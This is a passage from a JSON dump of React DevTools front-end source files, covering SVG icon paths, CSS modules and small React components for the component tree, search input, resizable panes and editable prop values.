3.13 7 7-3.13 7-7 7z\n`;\n\nconst PATH_UNDO = `\n  M12.5 8c-2.65 0-5.05.99-6.9 2.6L2 7v9h9l-3.62-3.62c1.39-1.16 3.16-1.88 5.12-1.88\n  3.54 0 6.55 2.31 7.6 5.5l2.37-.78C21.08 11.03 17.15 8 12.5 8z\n`;\n\nconst PATH_UP = 'M7.41 15.41L12 10.83l4.59 4.58L18 14l-6-6-6 6z';\n\nconst PATH_VIEW_DOM = `\n  M12 4.5C7 4.5 2.73 7.61 1 12c1.73 4.39 6 7.5 11 7.5s9.27-3.11 11-7.5c-1.73-4.39-6-7.5-11-7.5zM12\n  17c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5zm0-8c-1.66 0-3 1.34-3 3s1.34 3 3 3\n  3-1.34 3-3-1.34-3-3-3z\n`;\n\nconst PATH_VIEW_SOURCE = `\n  M9.4 16.6L4.8 12l4.6-4.6L8 6l-6 6 6 6 1.4-1.4zm5.2 0l4.6-4.6-4.6-4.6L16 6l6 6-6 6-1.4-1.4z\n  `;\n\nconst PATH_EDITOR = `\n  M7 5h10v2h2V3c0-1.1-.9-1.99-2-1.99L7 1c-1.1 0-2 .9-2 2v4h2V5zm8.41 11.59L20 12l-4.59-4.59L14 8.83 17.17 12 14 15.17l1.41 1.42zM10 15.17L6.83 12 10 8.83 8.59 7.41 4 12l4.59 4.59L10 15.17zM17 19H7v-2H5v4c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-4h-2v2z\n`;\n\n// Source: Material Design Icons left_panel_close\nconst PATH_MATERIAL_PANEL_LEFT_CLOSE = `\n  M648-324v-312L480-480l168 156ZM211-144q-27.64 0-47.32-19.68T144-211v-538q0-27.64 19.68-47.32T211-816h538q27.64 0 47.32 19.68T816-749v538q0 27.64-19.68 47.32T749-144H211Zm125-72v-528H216v528h120Zm72 0h336v-528H408v528Zm-72 0H216h120Z\n`;\n\n// Source: Material Design Icons left_panel_open\nconst PATH_MATERIAL_PANEL_LEFT_OPEN = `\n  M504-595v230q0 12.25 10.5 16.62Q525-344 534-352l110-102q11-11.18 11-26.09T644-506L534-608q-8.82-8-19.41-3.5T504-595ZM211-144q-27.64 0-47.32-19.68T144-211v-538q0-27.64 19.68-47.32T211-816h538q27.64 0 47.32 19.68T816-749v538q0 27.64-19.68 47.32T749-144H211Zm125-72v-528H216v528h120Zm72 0h336v-528H408v528Zm-72 0H216h120Z\n`;\n\n// Source: Material Design Icons right_panel_close\nconst PATH_MATERIAL_PANEL_RIGHT_CLOSE = `\n  M312-365q0 12.25 10.5 16.62Q333-344 342-352l110-102q11-11.18 11-26.09T452-506L342-608q-8.82-8-19.41-3.5T312-595v230ZM211-144q-27.64 0-47.32-19.68T144-211v-538q0-27.64 19.68-47.32T211-816h538q27.64 0 47.32 19.68T816-749v538q0 27.64-19.68 47.32T749-144H211Zm413-72h120v-528H624v528Zm-72 0v-528H216v528h336Zm72 0h120-120Z\n`;\n\n// Source: Material Design Icons right_panel_open\nconst PATH_MATERIAL_PANEL_RIGHT_OPEN = `\n  M456-365v-230q0-12.25-10.5-16.63Q435-616 426-608L316-506q-11 11.18-11 26.09T316-454l110 102q8.82 8 19.41 3.5T456-365ZM211-144q-27.64 0-47.32-19.68T144-211v-538q0-27.64 19.68-47.32T211-816h538q27.64 0 47.32 19.68T816-749v538q0 27.64-19.68 47.32T749-144H211Zm413-72h120v-528H624v528Zm-72 0v-528H216v528h336Zm72 0h120-120Z\n`;\n\n// Source: Material Design Icons bottom_panel_open\nconst PATH_MATERIAL_PANEL_BOTTOM_OPEN = `\n  M365-504h230q12.25 0 16.63-10.5Q616-525 608-534L506-644q-11.18-11-26.09-11T454-644L352-534q-8 8.82-3.5 19.41T365-504ZM211-144q-27.64 0-47.32-19.68T144-211v-538q0-27.64 19.68-47.32T211-816h538q27.64 0 47.32 19.68T816-749v538q0 27.64-19.68 47.32T749-144H211Zm5-192v120h528v-120H216Zm0-72h528v-336H216v336Zm0 72v120-120Z\n`;\n\n// Source: Material Design Icons bottom_panel_close\nconst PATH_MATERIAL_PANEL_BOTTOM_CLOSE = `\n  m506-508 102-110q8-8.82 3.5-19.41T595-648H365q-12.25 0-16.62 10.5Q344-627 352-618l102 110q11.18 11 26.09 11T506-508Zm243-308q27.64 0 47.32 19.68T816-749v538q0 27.64-19.68 47.32T749-144H211q-27.64 0-47.32-19.68T144-211v-538q0-27.64 19.68-47.32T211-816h538ZM216-336v120h528v-120H216Zm528-72v-336H216v336h528Zm-528 72v120-120Z\n`;\n\n// Source: Material Design Icons filter_alt\nconst PATH_MATERIAL_FILTER_ALT = `\n  M440-160q-17 0-28.5-11.5T400-200v-240L168-736q-15-20-4.5-42t36.5-22h560q26 0 36.5 22t-4.5 42L560-440v240q0 17-11.5 28.5T520-160h-80Zm40-308 198-252H282l198 252Zm0 0Z\n`;\n\n// Source: Material Design Icons filter_alt_off\nconst PATH_MATERIAL_FILTER_ALT_OFF = `\n  m592-481-57-57 143-182H353l-80-80h487q25 0 36 22t-4 42L592-481ZM791-56 560-287v87q0 17-11.5 28.5T520-160h-80q-17 0-28.5-11.5T400-200v-247L56-791l56-57 736 736-57 56ZM535-538Z\n`;\n\n// Source: Material Design Icons play_arrow\nconst PATH_MATERIAL_PLAY_ARROW = `\n  M320-200v-560l440 280-440 280Zm80-280Zm0 134 210-134-210-134v268Z\n`;\n\n// Source: Material Design Icons pause\nconst PATH_MATERIAL_PAUSE = `\n  M520-200v-560h240v560H520Zm-320 0v-560h240v560H200Zm400-80h80v-400h-80v400Zm-320 0h80v-400h-80v400Zm0-400v400-400Zm320 0v400-400Z\n`;\n\n// Source: Material Design Icons skip_previous\nconst PATH_MATERIAL_SKIP_PREVIOUS_ARROW = `\n  M220-240v-480h80v480h-80Zm520 0L380-480l360-240v480Zm-80-240Zm0 90v-180l-136 90 136 90Z\n`;\n\n// Source: Material Design Icons skip_next\nconst PATH_MATERIAL_SKIP_NEXT_ARROW = `\n  M660-240v-480h80v480h-80Zm-440 0v-480l360 240-360 240Zm80-240Zm0 90 136-90-136-90v180Z\n`;\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/ButtonLabel.css",
    "content": ".ButtonLabel {\n  padding-left: 1.5rem;\n  margin-left: -1rem;\n  user-select: none;\n  flex: 1 0 auto;\n  text-align: center;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/ButtonLabel.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\n\nimport styles from './ButtonLabel.css';\n\ntype Props = {\n  children: React$Node,\n};\n\nexport default function ButtonLabel({children}: Props): React.Node {\n  return <span className={styles.ButtonLabel}>{children}</span>;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/ActivitySlice.css",
    "content": ".ActivitySlice {\n  max-width: 100%;\n  overflow-x: auto;\n  flex: 1;\n  display: flex;\n  align-items: center;\n  position: relative;\n}\n\n.ActivitySliceButton {\n  color: var(--color-button-active);\n  font-family: var(--font-family-monospace);\n  font-size: var(--font-size-monospace-normal);\n}\n\n.Bar {\n  display: flex;\n  flex: 1 1 auto;\n  overflow-x: auto;\n}\n\n.VRule {\n  flex: 0 0 auto;\n  height: 20px;\n  width: 1px;\n  background-color: var(--color-border);\n  margin: 0 0.5rem;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/ActivitySlice.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\nimport * as React from 'react';\nimport {startTransition, useContext} from 'react';\nimport Button from '../Button';\nimport ButtonIcon from '../ButtonIcon';\nimport {StoreContext} from '../context';\nimport {useChangeActivitySliceAction} from '../SuspenseTab/ActivityList';\nimport {TreeDispatcherContext, TreeStateContext} from './TreeContext';\nimport styles from './ActivitySlice.css';\n\nexport default function ActivitySlice(): React.Node {\n  const dispatch = useContext(TreeDispatcherContext);\n  const {activityID} = useContext(TreeStateContext);\n  const store = useContext(StoreContext);\n\n  const activity =\n    activityID === null ? null : store.getElementByID(activityID);\n  const name = activity ? activity.nameProp : null;\n\n  const changeActivitySliceAction = useChangeActivitySliceAction();\n\n  return (\n    <div className={styles.ActivitySlice}>\n      <div className={styles.Bar}>\n        <Button\n          className={styles.ActivitySliceButton}\n          onClick={dispatch.bind(null, {\n            type: 'SELECT_ELEMENT_BY_ID',\n            payload: activityID,\n          })}>\n          \"{name || 'Unknown'}\"\n        </Button>\n      </div>\n      <div className={styles.VRule} />\n      <Button\n        onClick={startTransition.bind(\n          null,\n          changeActivitySliceAction.bind(null, null),\n        )}\n        title=\"Back to tree view\">\n        <ButtonIcon type=\"close\" />\n      </Button>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/Badge.css",
    "content": ".Badge {\n  display: inline-block;\n  background-color: var(--color-component-badge-background);\n  color: var(--color-text);\n  padding: 0.125rem 0.25rem;\n  line-height: normal;\n  border-radius: 0.125rem;\n  font-family: var(--font-family-monospace);\n  font-size: var(--font-size-monospace-small);\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/Badge.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\n\nimport styles from './Badge.css';\n\ntype Props = {\n  className?: string,\n  children: React$Node,\n  ...\n};\n\nexport default function Badge({\n  className = '',\n  children,\n  ...props\n}: Props): React.Node {\n  return (\n    <div {...props} className={`${styles.Badge} ${className}`}>\n      {children}\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/ComponentSearchInput.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {useState, useContext, useCallback} from 'react';\n\nimport SearchInput from 'react-devtools-shared/src/devtools/views/SearchInput';\nimport {\n  TreeDispatcherContext,\n  TreeStateContext,\n} from 'react-devtools-shared/src/devtools/views/Components/TreeContext';\n\nexport default function ComponentSearchInput(): React.Node {\n  const [localSearchQuery, setLocalSearchQuery] = useState('');\n  const {searchIndex, searchResults} = useContext(TreeStateContext);\n  const transitionDispatch = useContext(TreeDispatcherContext);\n\n  const search = useCallback(\n    (text: string) => {\n      setLocalSearchQuery(text);\n      transitionDispatch({type: 'SET_SEARCH_TEXT', payload: text});\n    },\n    [setLocalSearchQuery, transitionDispatch],\n  );\n  const goToNextResult = useCallback(\n    () => transitionDispatch({type: 'GO_TO_NEXT_SEARCH_RESULT'}),\n    [transitionDispatch],\n  );\n  const goToPreviousResult = useCallback(\n    () => transitionDispatch({type: 'GO_TO_PREVIOUS_SEARCH_RESULT'}),\n    [transitionDispatch],\n  );\n\n  return (\n    <SearchInput\n      goToNextResult={goToNextResult}\n      goToPreviousResult={goToPreviousResult}\n      placeholder=\"Search (text or /regex/)\"\n      search={search}\n      searchIndex={searchIndex}\n      searchResultsCount={searchResults.length}\n      searchText={localSearchQuery}\n      testName=\"ComponentSearchInput\"\n    />\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/Components.css",
    "content": ".Components {\n  position: relative;\n  width: 100%;\n  height: 100%;\n  display: flex;\n  flex-direction: row;\n  background-color: var(--color-background);\n  color: var(--color-text);\n  font-family: var(--font-family-sans);\n}\n\n.Components, .Components * {\n  box-sizing: border-box;\n  -webkit-font-smoothing: var(--font-smoothing);\n}\n\n.TreeWrapper {\n  flex: 0 0 var(--horizontal-resize-percentage);\n}\n\n.InspectedElementWrapper {\n  flex: 1 1 35%;\n  overflow-x: hidden;\n  overflow-y: auto;\n  border-left: 1px solid var(--color-border);\n}\n\n.ResizeBarWrapper {\n  flex: 0 0 0px;\n  position: relative;\n}\n\n.ResizeBar {\n  position: absolute;\n  /*\n   * moving the bar out of its bounding box might cause its hitbox to overlap\n   * with another scrollbar creating disorienting UX where you both resize and scroll\n   * at the same time.\n   * If you adjust this value, double check that starting resize right on this edge\n   * doesn't also cause scroll\n   */\n  left: 1px;\n  width: 5px;\n  height: 100%;\n  cursor: ew-resize;\n}\n\n@container devtools (width < 600px) {\n  .Components {\n    flex-direction: column;\n  }\n\n  .TreeWrapper {\n    flex: 0 0 var(--vertical-resize-percentage);\n  }\n\n  .InspectedElementWrapper {\n    flex: 1 1 50%;\n    border-left: none;\n  }\n\n  .ResizeBar {\n    top: 1px;\n    left: 0;\n    width: 100%;\n    height: 5px;\n    cursor: ns-resize;\n  }\n}\n\n.Loading {\n  height: 100%;\n  padding-left: 0.5rem;\n  display: flex;\n  align-items: center;\n  justify-content: center;\n  font-size: var(--font-size-sans-large);\n  color: var(--color-dim);\n  border-left: 1px solid var(--color-border);\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/Components.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {Fragment, useEffect, useLayoutEffect, useReducer, useRef} from 'react';\nimport Tree from './Tree';\nimport {OwnersListContextController} from './OwnersListContext';\nimport portaledContent from '../portaledContent';\nimport {SettingsModalContextController} from 'react-devtools-shared/src/devtools/views/Settings/SettingsModalContext';\nimport {\n  localStorageGetItem,\n  localStorageSetItem,\n} from 'react-devtools-shared/src/storage';\nimport InspectedElementErrorBoundary from './InspectedElementErrorBoundary';\nimport InspectedElement from './InspectedElement';\nimport {ModalDialog} from '../ModalDialog';\nimport SettingsModal from 'react-devtools-shared/src/devtools/views/Settings/SettingsModal';\nimport {NativeStyleContextController} from './NativeStyleEditor/context';\n\nimport styles from './Components.css';\nimport typeof {SyntheticPointerEvent} from 'react-dom-bindings/src/events/SyntheticEvent';\n\ntype Orientation = 'horizontal' | 'vertical';\n\ntype ResizeActionType =\n  | 'ACTION_SET_DID_MOUNT'\n  | 'ACTION_SET_HORIZONTAL_PERCENTAGE'\n  | 'ACTION_SET_VERTICAL_PERCENTAGE';\n\ntype ResizeAction = {\n  type: ResizeActionType,\n  payload: any,\n};\n\ntype ResizeState = {\n  horizontalPercentage: number,\n  verticalPercentage: number,\n};\n\nfunction Components(_: {}) {\n  const wrapperElementRef = useRef<null | HTMLElement>(null);\n  const resizeElementRef = useRef<null | HTMLElement>(null);\n\n  const [state, dispatch] = useReducer<ResizeState, any, ResizeAction>(\n    resizeReducer,\n    null,\n    initResizeState,\n  );\n\n  const {horizontalPercentage, verticalPercentage} = state;\n\n  useLayoutEffect(() => {\n    const resizeElement = resizeElementRef.current;\n\n    setResizeCSSVariable(\n      resizeElement,\n      'horizontal',\n      horizontalPercentage * 100,\n    );\n    setResizeCSSVariable(resizeElement, 'vertical', verticalPercentage * 100);\n  }, []);\n\n  useEffect(() => {\n    const timeoutID = setTimeout(() => {\n      localStorageSetItem(\n        LOCAL_STORAGE_KEY,\n        JSON.stringify({\n          horizontalPercentage,\n          verticalPercentage,\n        }),\n      );\n    }, 500);\n\n    return () => clearTimeout(timeoutID);\n  }, [horizontalPercentage, verticalPercentage]);\n\n  const onResizeStart = (event: SyntheticPointerEvent) => {\n    const element = event.currentTarget;\n    element.setPointerCapture(event.pointerId);\n  };\n\n  const onResizeEnd = (event: SyntheticPointerEvent) => {\n    const element = event.currentTarget;\n    element.releasePointerCapture(event.pointerId);\n  };\n\n  const onResize = (event: SyntheticPointerEvent) => {\n    const element = event.currentTarget;\n    const isResizing = element.hasPointerCapture(event.pointerId);\n    if (!isResizing) {\n      return;\n    }\n\n    const resizeElement = resizeElementRef.current;\n    const wrapperElement = wrapperElementRef.current;\n\n    if (wrapperElement === null || resizeElement === null) {\n      return;\n    }\n\n    event.preventDefault();\n\n    const orientation = getOrientation(wrapperElement);\n\n    const {height, width, left, top} = wrapperElement.getBoundingClientRect();\n\n    const currentMousePosition =\n      orientation === 'horizontal' ? event.clientX - left : event.clientY - top;\n\n    const boundaryMin = MINIMUM_SIZE;\n    const boundaryMax =\n      orientation === 'horizontal'\n        ? width - MINIMUM_SIZE\n        : height - MINIMUM_SIZE;\n\n    const isMousePositionInBounds =\n      currentMousePosition > boundaryMin && currentMousePosition < boundaryMax;\n\n    if (isMousePositionInBounds) {\n      const resizedElementDimension =\n        orientation === 'horizontal' ? width : height;\n      const actionType =\n        orientation === 'horizontal'\n          ? 'ACTION_SET_HORIZONTAL_PERCENTAGE'\n          : 'ACTION_SET_VERTICAL_PERCENTAGE';\n      const percentage = (currentMousePosition / resizedElementDimension) * 100;\n\n      setResizeCSSVariable(resizeElement, orientation, percentage);\n\n      dispatch({\n        type: actionType,\n        payload: currentMousePosition / resizedElementDimension,\n      });\n    }\n  };\n\n  return (\n    <SettingsModalContextController>\n      <OwnersListContextController>\n        <div ref={wrapperElementRef} className={styles.Components}>\n          <Fragment>\n            <div ref={resizeElementRef} className={styles.TreeWrapper}>\n              <Tree />\n            </div>\n            <div className={styles.ResizeBarWrapper}>\n              <div\n                onPointerDown={onResizeStart}\n                onPointerMove={onResize}\n                onPointerUp={onResizeEnd}\n                className={styles.ResizeBar}\n              />\n            </div>\n            <div className={styles.InspectedElementWrapper}>\n              <NativeStyleContextController>\n                <InspectedElementErrorBoundary>\n                  <InspectedElement\n                    fallbackEmpty={\n                      'No React element selected. Select an element in the tree to inspect.'\n                    }\n                  />\n                </InspectedElementErrorBoundary>\n              </NativeStyleContextController>\n            </div>\n            <ModalDialog />\n            <SettingsModal />\n          </Fragment>\n        </div>\n      </OwnersListContextController>\n    </SettingsModalContextController>\n  );\n}\n\nconst LOCAL_STORAGE_KEY = 'React::DevTools::createResizeReducer';\nconst VERTICAL_MODE_MAX_WIDTH = 600;\nconst MINIMUM_SIZE = 100;\n\nfunction initResizeState(): ResizeState {\n  let horizontalPercentage = 0.65;\n  let verticalPercentage = 0.5;\n\n  try {\n    let data = localStorageGetItem(LOCAL_STORAGE_KEY);\n    if (data != null) {\n      data = JSON.parse(data);\n      horizontalPercentage = data.horizontalPercentage;\n      verticalPercentage = data.verticalPercentage;\n    }\n  } catch (error) {}\n\n  return {\n    horizontalPercentage,\n    verticalPercentage,\n  };\n}\n\nfunction resizeReducer(state: ResizeState, action: ResizeAction): ResizeState {\n  switch (action.type) {\n    case 'ACTION_SET_HORIZONTAL_PERCENTAGE':\n      return {\n        ...state,\n        horizontalPercentage: action.payload,\n      };\n    case 'ACTION_SET_VERTICAL_PERCENTAGE':\n      return {\n        ...state,\n        verticalPercentage: action.payload,\n      };\n    default:\n      return state;\n  }\n}\n\nfunction getOrientation(\n  wrapperElement: null | HTMLElement,\n): null | Orientation {\n  if (wrapperElement != null) {\n    const {width} = wrapperElement.getBoundingClientRect();\n    return width > VERTICAL_MODE_MAX_WIDTH ? 'horizontal' : 'vertical';\n  }\n  return null;\n}\n\nfunction setResizeCSSVariable(\n  resizeElement: null | HTMLElement,\n  orientation: null | Orientation,\n  percentage: number,\n): void {\n  if (resizeElement !== null && orientation !== null) {\n    resizeElement.style.setProperty(\n      `--${orientation}-resize-percentage`,\n      `${percentage}%`,\n    );\n  }\n}\n\nexport default (portaledContent(Components): component());\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/EditableName.css",
    "content": ".Input {\n  flex: 0 1 auto;\n  box-shadow: 0px 1px 3px transparent;\n  color: var(--color-text);\n}\n.Input:focus {\n  color: var(--color-text);\n  box-shadow: 0px 1px 3px var(--color-shadow);\n}"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/EditableName.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {useCallback, useState} from 'react';\nimport AutoSizeInput from './NativeStyleEditor/AutoSizeInput';\nimport styles from './EditableName.css';\n\ntype Type = 'props' | 'state' | 'context' | 'hooks';\ntype OverrideNameFn = (\n  oldName: Array<string | number>,\n  newName: Array<string | number>,\n) => void;\n\ntype EditableNameProps = {\n  allowEmpty?: boolean,\n  allowWhiteSpace?: boolean,\n  autoFocus?: boolean,\n  className?: string,\n  initialValue?: string,\n  overrideName: OverrideNameFn,\n  path: Array<string | number>,\n  type: Type,\n};\n\nexport default function EditableName({\n  allowEmpty = false,\n  allowWhiteSpace = false,\n  autoFocus = false,\n  className = '',\n  initialValue = '',\n  overrideName,\n  path,\n  type,\n}: EditableNameProps): React.Node {\n  const [editableName, setEditableName] = useState(initialValue);\n  const [isValid, setIsValid] = useState(false);\n\n  const handleChange = useCallback(\n    ({target}: $FlowFixMe) => {\n      let value = target.value;\n      if (!allowWhiteSpace) {\n        value = value.trim();\n      }\n\n      if (allowEmpty || value !== '') {\n        setIsValid(true);\n      } else {\n        setIsValid(false);\n      }\n\n      setEditableName(value);\n    },\n    [overrideName],\n  );\n\n  const handleKeyDown = useCallback(\n    (event: $FlowFixMe) => {\n      // Prevent keydown events from e.g. change selected element in the tree\n      event.stopPropagation();\n\n      switch (event.key) {\n        case 'Enter':\n        case 'Tab':\n          if (isValid) {\n            const basePath = path.slice(0, path.length - 1);\n            overrideName(\n              [...basePath, initialValue],\n              [...basePath, editableName],\n            );\n          }\n          break;\n        case 'Escape':\n          setEditableName(initialValue);\n          break;\n        default:\n          break;\n      }\n    },\n    [editableName, setEditableName, isValid, initialValue, overrideName],\n  );\n\n  return (\n    <AutoSizeInput\n      autoFocus={autoFocus}\n      className={[styles.Input, className].join(' ')}\n      onChange={handleChange}\n      onKeyDown={handleKeyDown}\n      placeholder=\"new entry\"\n      testName=\"EditableName\"\n      type=\"text\"\n      value={editableName}\n    />\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/EditableValue.css",
    "content": ".Checkbox {\n  flex: 0 0 auto;\n  align-self: center;\n  margin: 0 0.25rem;\n}\n\n.Input {\n  flex: 1 1;\n  background: none;\n  border: 1px solid transparent;\n  color: var(--color-attribute-editable-value);\n  border-radius: 0.125rem;\n  font-family: var(--font-family-monospace);\n  font-size: var(--font-size-monospace-normal);\n}\n\n.Invalid {\n  flex: 1 1;\n  background: none;\n  border: 1px solid transparent;\n  color: var(--color-attribute-editable-value);\n  border-radius: 0.125rem;\n  font-family: var(--font-family-monospace);\n  font-size: var(--font-size-monospace-normal);\n  background-color: var(--color-background-invalid);\n  color: var(--color-text-invalid);\n\n  --color-border: var(--color-text-invalid);\n}\n\n.Input:focus,\n.Invalid:focus {\n  background-color: var(--color-button-background-focus);\n  outline: none;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/EditableValue.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {Fragment} from 'react';\nimport styles from './EditableValue.css';\nimport {useEditableValue} from '../hooks';\n\ntype OverrideValueFn = (path: Array<string | number>, value: any) => void;\n\ntype EditableValueProps = {\n  className?: string,\n  overrideValue: OverrideValueFn,\n  path: Array<string | number>,\n  value: any,\n};\n\nexport default function EditableValue({\n  className = '',\n  overrideValue,\n  path,\n  value,\n}: EditableValueProps): React.Node {\n  const [state, dispatch] = useEditableValue(value);\n  const {editableValue, hasPendingChanges, isValid, parsedValue} = state;\n\n  const reset = () =>\n    dispatch({\n      type: 'RESET',\n      externalValue: value,\n    });\n\n  // $FlowFixMe[missing-local-annot]\n  const handleChange = ({target}) =>\n    dispatch({\n      type: 'UPDATE',\n      editableValue: target.value,\n      externalValue: value,\n    });\n\n  // $FlowFixMe[missing-local-annot]\n  const handleCheckBoxToggle = ({target}) => {\n    dispatch({\n      type: 'UPDATE',\n      editableValue: target.checked,\n      externalValue: value,\n    });\n\n    // Unlike <input type=\"text\"> which has both an onChange and an onBlur,\n    // <input type=\"checkbox\"> updates state *and* applies changes in a single event.\n    // So we read from target.checked rather than parsedValue (which has not yet updated).\n    // We also don't check isValid (because that hasn't changed yet either);\n    // we don't need to check it anyway, since target.checked is always a boolean.\n    overrideValue(path, target.checked);\n  };\n\n  // $FlowFixMe[missing-local-annot]\n  const handleKeyDown = event => {\n    // Prevent keydown events from e.g. change selected element in the tree\n    event.stopPropagation();\n\n    switch (event.key) {\n      case 'Enter':\n        applyChanges();\n        break;\n      case 'Escape':\n        reset();\n        break;\n      default:\n        break;\n    }\n  };\n\n  const applyChanges = () => {\n    if (isValid && hasPendingChanges) {\n      overrideValue(path, parsedValue);\n    }\n  };\n\n  let placeholder = '';\n  if (editableValue === undefined) {\n    placeholder = '(undefined)';\n  } else {\n    placeholder = 'Enter valid JSON';\n  }\n\n  const isBool = parsedValue === true || parsedValue === false;\n\n  return (\n    <Fragment>\n      <input\n        autoComplete=\"new-password\"\n        className={`${isValid ? styles.Input : styles.Invalid} ${className}`}\n        data-testname=\"EditableValue\"\n        onBlur={applyChanges}\n        onChange={handleChange}\n        onKeyDown={handleKeyDown}\n        placeholder={placeholder}\n        type=\"text\"\n        value={editableValue}\n      />\n      {isBool && (\n        <input\n          className={styles.Checkbox}\n          checked={parsedValue}\n          type=\"checkbox\"\n          onChange={handleCheckBoxToggle}\n        />\n      )}\n    </Fragment>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/Element.css",
    "content": ".Element,\n.HoveredElement,\n.InactiveSelectedElement,\n.HighlightedElement,\n.InactiveHighlightedElement,\n.SelectedElement {\n  color: var(--color-component-name);\n}\n.HoveredElement {\n  background-color: var(--color-background-hover);\n}\n.InactiveSelectedElement {\n  background-color: var(--color-background-inactive);\n}\n.HighlightedElement {\n  background-color: var(--color-selected-tree-highlight-active);\n}\n.InactiveHighlightedElement {\n  background-color: var(--color-selected-tree-highlight-inactive);\n}\n\n.Wrapper {\n  position: relative;\n  padding: 0 0.25rem;\n  white-space: pre;\n  height: var(--line-height-data);\n  line-height: var(--line-height-data);\n  display: inline-flex;\n  align-items: center;\n  cursor: default;\n  user-select: none;\n}\n\n.SelectedElement {\n  background-color: var(--color-background-selected);\n  color: var(--color-text-selected);\n\n  /* Invert colors */\n  --color-component-name: var(--color-component-name-inverted);\n  --color-text: var(--color-text-selected);\n  --color-component-badge-background: var(\n    --color-component-badge-background-inverted\n  );\n  --color-forget-badge-background: var(--color-forget-badge-background-inverted);\n  --color-component-badge-count: var(--color-component-badge-count-inverted);\n  --color-attribute-name: var(--color-attribute-name-inverted);\n  --color-attribute-value: var(--color-attribute-value-inverted);\n  --color-expand-collapse-toggle: var(--color-component-name-inverted);\n}\n\n.KeyName {\n  color: var(--color-attribute-name);\n}\n\n.KeyValue {\n  color: var(--color-attribute-value);\n  user-select: text;\n  max-width: 100px;\n  overflow-x: hidden;\n  text-overflow: ellipsis;\n}\n\n.Highlight {\n  background-color: var(--color-search-match);\n}\n.CurrentHighlight {\n  background-color: var(--color-search-match-current);\n}\n\n.ExpandCollapseToggle {\n  display: inline-flex;\n  width: 1rem;\n  height: 1rem;\n  flex: 0 0 1rem;\n  color: var(--color-expand-collapse-toggle);\n}\n\n.BadgesBlock {\n  margin-left: 0.25rem;\n}\n\n.ErrorIcon,\n.ErrorIconContrast,\n.StrictMode,\n.StrictModeContrast,\n.WarningIcon,\n.WarningIconContrast {\n  height: 0.75rem !important;\n  width: 0.75rem !important;\n  margin-left: 0.25rem;\n}\n.ErrorIcon {\n  color: var(--color-console-error-icon);\n}\n.StrictMode {\n  color: var(--color-dimmer);\n}\n.WarningIcon {\n  color: var(--color-console-warning-icon);\n}\n.ErrorIconContrast, .WarningIconContrast {\n  color: var(--color-component-name);\n}\n.StrictModeContrast {\n  color: var(--color-text);\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/Element.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {Fragment, startTransition, useContext, useMemo, useState} from 'react';\nimport Store from 'react-devtools-shared/src/devtools/store';\nimport {ElementTypeActivity} from 'react-devtools-shared/src/frontend/types';\nimport ButtonIcon from '../ButtonIcon';\nimport {TreeDispatcherContext, TreeStateContext} from './TreeContext';\nimport {StoreContext} from '../context';\nimport {useSubscription} from '../hooks';\nimport {logEvent} from 'react-devtools-shared/src/Logger';\nimport IndexableElementBadges from './IndexableElementBadges';\nimport IndexableDisplayName from './IndexableDisplayName';\n\nimport type {ItemData} from './Tree';\nimport type {Element as ElementType} from 'react-devtools-shared/src/frontend/types';\n\nimport styles from './Element.css';\nimport Icon from '../Icon';\nimport {useChangeOwnerAction} from './OwnersListContext';\nimport Tooltip from './reach-ui/tooltip';\nimport {useChangeActivitySliceAction} from '../SuspenseTab/ActivityList';\n\ntype Props = {\n  data: ItemData,\n  index: number,\n  style: Object,\n  ...\n};\n\nexport default function Element({data, index, style}: Props): React.Node {\n  const store = useContext(StoreContext);\n  const {ownerFlatTree, ownerID, inspectedElementID} =\n    useContext(TreeStateContext);\n  const dispatch = useContext(TreeDispatcherContext);\n\n  const element =\n    ownerFlatTree !== null\n      ? ownerFlatTree[index]\n      : store.getElementAtIndex(index);\n\n  const [isHovered, 